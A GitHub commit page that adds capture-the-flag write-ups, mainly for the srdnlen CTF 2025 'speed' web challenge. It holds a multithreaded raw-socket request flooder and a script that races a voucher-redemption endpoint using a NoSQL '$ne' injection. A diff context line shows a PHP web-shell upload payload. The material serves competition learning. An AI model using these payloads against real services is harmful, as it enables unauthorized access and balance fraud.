Skip to content

Commit 5b4450d

Browse files
committed
a
1 parent 60a8f46 commit 5b4450d

File tree

4 files changed

+156
-1
lines changed

4 files changed

+156
-1
lines changed

2024-others/web/msec-cats/index.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,4 +38,4 @@ echo -e '\xff\xd8<?php system($_GET['cmd']); ?>' > payload.jpg.php
3838
MSEC{s0me_T1me_I_w1sh_I4m_aC@t_noW0rk_noDeAdl1ne_JustMe0oow}
3939
```
4040

41-
Not sure where is P1.
41+
Not sure where is P1.

2025-srdnlen-ctf/index.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
---
2+
created: 2025-01-19T13:31
3+
updated: 2025-01-19T13:31
4+
---
5+
6+
::ctf-overview
7+
::

2025-srdnlen-ctf/web/index.md

Whitespace-only changes.

2025-srdnlen-ctf/web/speed/index.md

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
---
2+
created: 2025-01-19T01:45
3+
updated: 2025-01-19T13:32
4+
points: 50
5+
solves: 189
6+
---
7+
8+
`lastVoucherRedemption` is checked only at the start, and updated at the end, creating a window for race condition.
9+
10+
```js
11+
const lastRedemption = user.lastVoucherRedemption;
12+
if (lastRedemption) {
13+
const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &&
14+
lastRedemption.getMonth() === today.getMonth() &&
15+
lastRedemption.getDate() === today.getDate();
16+
if (isSameDay) {
17+
return res.json({success: false, message: 'You have already redeemed your gift card today!' });
18+
}
19+
}
20+
21+
// Apply the gift card value to the user's balance
22+
const { Balance } = await User.findById(req.user.userId).select('Balance');
23+
user.Balance = Balance + discount.value;
24+
// Introduce a slight delay to ensure proper logging of the transaction
25+
// and prevent potential database write collisions in high-load scenarios.
26+
new Promise(resolve => setTimeout(resolve, delay * 1000));
27+
user.lastVoucherRedemption = today;
28+
await user.save();
29+
```
30+
31+
The delay would be helpful if it was actually awaited.
32+
33+
```python [raw_http]
34+
import socket
35+
import threading
36+
import time
37+
38+
39+
def create_raw_request(host, path, jwt_cookie, method="GET"):
40+
request = f"{method} {path} HTTP/1.1\r\n"
41+
request += f"Host: {host}\r\n"
42+
request += f"Cookie: jwt={jwt_cookie}\r\n"
43+
request += "Connection: keep-alive\r\n"
44+
request += "\r\n"
45+
return request.encode()
46+
47+
48+
def receive_response(sock):
49+
response = b""
50+
sock.settimeout(2)
51+
try:
52+
while True:
53+
chunk = sock.recv(4096)
54+
if not chunk:
55+
break
56+
response += chunk
57+
except socket.timeout:
58+
pass
59+
return response.decode('utf-8', errors='ignore')
60+
61+
62+
def send_raw(host, port, request_data, sock=None):
63+
try:
64+
if not sock:
65+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
66+
sock.connect((host, port))
67+
sock.send(request_data)
68+
return sock
69+
except Exception as e:
70+
if sock:
71+
sock.close()
72+
return None
73+
74+
75+
def spam_raw(host, port, path, jwt_cookie, num_requests=1000, num_threads=100):
76+
request_data = create_raw_request(host, path, jwt_cookie)
77+
response_content = None
78+
79+
def worker():
80+
nonlocal response_content
81+
sock = None
82+
for i in range(num_requests // num_threads):
83+
try:
84+
sock = send_raw(host, port, request_data, sock)
85+
if not sock:
86+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
87+
sock.connect((host, port))
88+
89+
# Get response content from the last request in the first thread
90+
if i == (num_requests // num_threads - 1) and threading.current_thread().name == "Thread-0":
91+
response_content = receive_response(sock)
92+
except:
93+
if sock:
94+
sock.close()
95+
sock = None
96+
97+
start = time.time()
98+
threads = []
99+
for i in range(num_threads):
100+
t = threading.Thread(target=worker, name=f"Thread-{i}")
101+
t.start()
102+
threads.append(t)
103+
104+
for t in threads:
105+
t.join()
106+
107+
end = time.time()
108+
print(f"Sent {num_requests} requests in {end-start:.2f} seconds")
109+
print(f"Requests per second: {num_requests/(end-start):.2f}")
110+
111+
if response_content:
112+
print("\nResponse from last request:")
113+
print(response_content)
114+
```
115+
116+
```python
117+
import random
118+
119+
import requests
120+
from raw_http import spam_raw
121+
target = "http://speed.challs.srdnlen.it:8082"
122+
123+
username = "kumo"+str(random.randint(0, 1000000))
124+
password = "kumo"
125+
s = requests.session()
126+
r = s.post(f"{target}/register-user", json={
127+
'username': username,
128+
'password': password
129+
})
130+
jwt = s.cookies.get("jwt")
131+
HOST = "speed.challs.srdnlen.it"
132+
PORT = 8082
133+
PATH = "/redeem?discountCode[$ne]%3d"
134+
spam_raw(
135+
host=HOST,
136+
port=PORT,
137+
path=PATH,
138+
jwt_cookie=jwt,
139+
num_requests=1000,
140+
num_threads=32
141+
)
142+
143+
print(s.post(f"{target}/store", json={"productId": 4}).json())
144+
```
145+
146+
```flag
147+
srdnlen{6peed_1s_My_0nly_Competition}
148+
```

0 commit comments

Comments
 (0)